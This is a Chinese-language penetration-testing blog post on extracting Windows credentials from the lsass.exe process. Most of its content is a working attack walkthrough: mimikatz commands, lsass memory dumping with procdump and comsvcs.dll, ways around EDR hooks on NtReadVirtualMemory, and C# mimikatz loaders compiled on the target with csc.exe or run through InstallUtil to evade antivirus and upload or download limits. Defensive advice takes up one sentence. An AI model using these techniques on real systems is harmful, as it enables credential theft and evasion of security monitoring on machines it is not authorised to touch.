渗透基础——从 lsass.exe 进程导出凭据

发布于 2025-01-27 00:04:09 字数 7354 浏览 12 评论 0

0x00 前言

本文将要结合自己的经验,介绍不同环境下从 lsass.exe 进程导出凭据的方法,结合利用思路,给出防御建议

0x01 简介

本文将要介绍以下内容:

  • 从 lsass.exe 进程导出凭据的常用方法
  • 限制上传文件长度时导出凭据的方法
  • 限制下载文件长度时导出凭据的方法

0x02 从 lsass.exe 进程导出凭据的常用方法

1.使用 mimikatz 直接导出凭据

直接从 lsass.exe 进程的内存中导出凭据,命令如下:

mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

通常这种方式会被安全产品拦截

2.通过 lsass.exe 进程的 dmp 文件导出凭据

(1) 获得 lsass.exe 进程的 dmp 文件

procdump

命令如下:

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

c++ 实现

https://github.com/killswitch-GUI/minidump-lib

powershell 实现

https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Out-Minidump.ps1

c#实现

https://github.com/GhostPack/SharpDump

使用 comsvcs.dll

示例参数如下:

rundll32 C:\windows\system32\comsvcs.dll, MiniDump 808 C:\test\lsass.dmp full

注:使用 comsvcs.dll 的方法可参考之前的分析文章 《MiniDumpWriteDump via COM+ Services DLL》的利用测试

以上方法在原理上都是通过 API MiniDumpWriteDump() 获得进程的 dmp 文件

而某些安全产品已经开始拦截这种行为,拦截的方法如下:

通过用户模式下的 API hook,使用跳转(JMP) 命令将 NtReadVirtualMemory() 的前 5 个字节修改为指向另一个内存地址

绕过思路:

使用正确的命令覆盖被修改的前 5 个字节或是重写一个 NtReadVirtualMemory()

参考资料:https://medium.com/@fsx30/bypass-edrs-memory-protection-introduction-to-hooking-2efb21acffd6

开源工具:https://github.com/outflanknl/Dumpert

如果这种方法仍然失败,可以尝试使用 RPC 控制 lsass 加载 SSP 的方式向 lsass.exe 进程注入 dll,由 dll 来实现 dump 的功能

使用 RPC 控制 lsass 加载 SSP 可参考 XPN 开源的代码:https://gist.github.com/xpn/c7f6d15bf15750eae3ec349e7ec2380e

对此的分析文章 《Mimikatz 中 SSP 的使用》

由 dll 来实现 dump 的功能可参考以下代码:https://github.com/outflanknl/Dumpert/blob/master/Dumpert-DLL/Outflank-Dumpert-DLL/Dumpert.c

(2) 从 dmp 文件导出凭据

成功获得了 lsass.exe 进程的 dmp 文件后,可以借助 mimikatz 导出凭据,命令如下:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

0x03 限制上传文件长度时导出凭据的方法

如果实际的测试环境对上传文件的长度做了限制,这里给出我的解决方法:上传.cs 文件,借助测试环境默认安装的.Net 环境,使用 csc.exe 进行编译

为了应对不同的测试环境,使用的代码应该支持.Net 3.5 以及更高版本

1.使用 c#实现的 mimikatz 直接导出凭据

Casey Smith 已经实现了在 c#文件中加载 mimikatz,目前可供参考的代码地址:https://github.com/re4lity/subTee-gits-backups/blob/master/PELoader.cs

需要注意的是这个代码封装的 mimikatz 版本为 mimikatz 2.0 alpha (x64) release "Kiwi en C" (Aug 17 2015 00:14:48)

这个版本在执行命令 sekurlsa::logonpasswords 时导出的结果不全,默认无法导出 hash

于是我在此基础上将 mimikatz 替换到新版本: mimikatz 2.1.1 (x64) built on Sep 25 2018 15:08:14

替换的方法是先将新版的 mimikatz.exe 进行 Gzip 压缩,再转换成 base64 编码,最后修改字符串 KatzCompressed 中的内容

生成新字符串 KatzCompressed 内容的 c#代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/GzipandBase64.cs

可以通过 csc.exe 对其进行编译,支持.Net 3.5 以及更高版本

代码执行后将生成的文件 base64.txt 中的内容替换字符串 KatzCompressed

原来版本的 PELoader.cs 因为使用了 .Add() 导致不支持.Net3.5,可以对此进行替换使其支持.Net3.5

最终经过修改的 PELoader.cs(升级 mimikatz,支持.Net3.5) 我也上传到了 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/PELoaderofMimikatz.cs

可以通过 csc.exe 对其进行编译,支持.Net 3.5 以及更高版本

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe PELoaderofMimikatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe PELoaderofMimikatz.cs /unsafe

导出凭据的命令:

PELoaderofMimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit

注:

需要经过简单的修改,在程序中提前传入要执行的命令,可以使用 InstallUtil.exe 导出凭据,命令如下:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoaderofMimikatzAuto.exe

通过这种方法,可以将.cs 文件上传至目标测试环境,然后使用目标测试环境自带的.Net 进行编译

2.使用 c#实现的代码获得 lsass.exe 进程的 dmp 文件

类似的开源代码有很多,我在 SafetyKatz 的基础上做了简单的修改

修改后的代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/DumpLsass.cs

可以通过 csc.exe 对其进行编译,支持.Net 3.5 以及更高版本

代码执行后在当前路径生成 lsass.exe 进程的 dmp 文件

获得了 dmp 文件后可以将其下载到本地再使用 mimikatz 导出凭据

0x04 限制下载文件长度时导出凭据的方法

如果实际的测试环境对下载文件的长度做了限制(有时 lsass.exe 进程的 dmp 文件压缩后也有上百 MB)

这里最简单的解决方法是对 mimikatz 做二次封装(删除不必要的功能,避免被查杀),在目标测试环境上从 lsass.exe 进程的 dmp 文件中导出凭据

这里可以参考 SafetyKatz,地址如下:https://github.com/GhostPack/SafetyKatz

SafetyKatz 对 mimikatz 进行了二次修改并封装到字符串中,参照了 Casey Smith 在 c#文件中加载 mimikatz 的方法,实现以下功能:

  1. 获得 lsass.exe 进程的 dmp 文件并保存到 temp 目录
  2. 从 dmp 文件导出凭据
  3. 删除 dmp 文件

我们可以在 SafetyKatz 的源码中加入以下代码把封装好的 exe 进行还原

FileStream fs = new FileStream(@"C:\test\1.exe", FileMode.Create);
fs.Write(unpacked, 0, unpacked.Length);
fs.Flush();
fs.Close();

可以看到封装的 exe 是修改过的 mimikatz,默认会执行一些命令,如下图

Alt text

我对 SafetyKatz 的代码做了简单的调整,使其支持.Net 3.5 以及更高版本

修改后的代码已上传至 github,地址如下:https://github.com/3gstudent/Homework-of-C-Sharp/blob/master/SafetyKatz.cs

编译命令:

C:\Windows\Microsoft.NET\Framework64\v3.5\csc.exe SafetyKatz.cs /unsafe

or

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe SafetyKatz.cs /unsafe

0x05 防御检测

利用的前提是攻击者已获得了系统的管理员权限,获得 lsass.exe 进程的 dmp 文件最终会调用 NtReadVirtualMemory() ,可以尝试对此进行监控

0x06 小结

本文介绍了不同环境下从 lsass.exe 进程导出凭据的方法,结合利用思路,给出防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

北城挽邺

暂无简介

文章
评论
27 人气
更多

推荐作者

夢野间

文章 0 评论 0

百度③文鱼

文章 0 评论 0

小草泠泠

文章 0 评论 0

zhuwenyan

文章 0 评论 0

weirdo

文章 0 评论 0

坚持沉默

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文